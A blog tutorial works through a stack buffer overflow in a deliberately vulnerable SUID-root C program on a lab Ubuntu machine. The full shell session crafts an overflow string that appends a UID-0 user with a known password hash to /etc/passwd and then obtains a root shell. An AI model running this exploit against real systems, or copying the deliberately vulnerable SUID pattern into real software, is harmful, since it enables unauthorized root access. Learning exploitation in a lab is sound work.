Exploiting Simple Buffer Overflow (1) - Super Basics

Recently I’ve been revising the concept of buffer overflow and its exploitation, so I will post a sequence of articles on this topic with varying settings. In this article, let’s exploit a simple SUID-ed program with a stack-based BOF to add a new root-priviledged user with a chosen password. This example is referenced from the book Hacking: the Art of Exploitation.


taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  uname -a
Linux sirius 3.13.0-63-generic #103-Ubuntu SMP Fri Aug 14 21:42:59 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.3 LTS
Release:	14.04
Codename:	trusty
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  gcc --version 
gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

I’m using x86_64, but I will compile the program in 32bit mode.

#include    <stdio.h>
#include	<stdlib.h>
#include	<string.h>
#include	<fcntl.h>
#include	<unistd.h>

struct data {
	char buffer[100];
	char datafile[20];
};

int main (int argc, char **argv){
	struct data data;

	strcpy(data.datafile, "/var/notes");

	if (argc < 2) {
		printf("Usage: %s <buffer>\n", argv[0]);
		exit(1);
	}

	strcpy(data.buffer, argv[1]);

	printf("[DEBUG] data.buffer @ %p: \'%s\'\n", data.buffer, data.buffer);
	printf("[DEBUG] data.datafile @ %p: \'%s\'\n", data.datafile, data.datafile);

	int fd;
	fd = open(data.datafile, O_WRONLY| O_APPEND);
	printf("[DEBUG] fd @ %p: %d\n", &fd, fd);

	if (write(fd, data.buffer, strlen(data.buffer)) == -1) {
		fprintf(stderr, "in main() - no write\n");
		exit(1);
	}
	if (close(fd) == -1) {
		fprintf(stderr, "in main() - no close\n");
		exit(1);
	}
		return 0;
}

The program shown above simply appends buffer to the file /var/notes. When strcpy is called to copy argv[1] to buffer, it can cause a buffer overflow — when more than 100 characters are stored in argv[0], then the remaining string would be overflowed. The Makefile shown below is used to compile and chown/chmod the program.

CC=gcc
CFLAGS=-m32 -std=c99 -Wall

all: pass_change

pass_change: pass_change.o
	$(CC) $(CFLAGS) -o $@ $^
	sudo chown 0:0 $@
	sudo chmod u+s $@

pass_change.o: pass_change.c

clean:
	rm pass_change.o pass_change

When argv[1] is not over 100 characters, it works perfectly.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  sudo touch /var/notes
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ./pass_change AAAA                      
[DEBUG] data.buffer @ 0xffce9dd4: 'AAAA'
[DEBUG] data.datafile @ 0xffce9e38: '/var/notes'
[DEBUG] fd @ 0xffce9dd0: 3
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  cat /var/notes 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  python -c "print 0xffce9e38-0xffce9dd4"
100

Since the offset between buffer and datafile is 100 (same as the size of buffer), the overflowed strings of argv[1] will be overwritten to datafile.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ./pass_change $(perl -e 'print "A"x120')
[DEBUG] data.buffer @ 0xffed7924: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] data.datafile @ 0xffed7988: 'AAAAAAAAAAAAAAAAAAAA'
[DEBUG] fd @ 0xffed7920: -1
in main() - no write

By exploiting this BOF, let’s create a new user with a chosen password by appending to /etc/passwd file. Following the format of /etc/passwd in UNIX system, I will add username myroot with password passwordmyroot:AA6tQYSfGxd/A:0:0:me:/root:/bin/bash. As shown below, password is encrypted using Crypto() OpenSSL cryptographic library with a salt “AA”. Note that the 3rd & 4th entry (i.e. “0:0”) indicates root privilege. If you want to know the format of /etc/passwd more in detail, refer to a link here.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e "print crypt('password', 'AA')"         
AA6tQYSfGxd/A

The content of datafile needs to be /etc/passwd, but the last entry in /etc/passwd needs to specify the user’s default shell. So, let’s create a symbolic link with the name /tmp/etc/passwd pointing to /bin/bash. Then, adjust the length of the user ID info (comment section), so that the location of /etc/passwd would be at 100.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ln -s /bin/bash /tmp/etc/passwd  
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x50 . ":/root:/tmp"' | wc -c
86
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp"' | wc -c
100
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp" . "/etc/passwd"'
myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd

Good. And here it is, you get the root shell.

taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  ./pass_change $(perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp" . "/etc/passwd"') 
[DEBUG] data.buffer @ 0xff8541b4: 'myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG] data.datafile @ 0xff854218: '/etc/passwd'
[DEBUG] fd @ 0xff8541b0: 3
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  cat /etc/passwd | grep myroot
myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒  su myroot
Password: 
root@sirius:/home/taishi/blackhat_python/bof_lab# whoami
root
comments powered by Disqus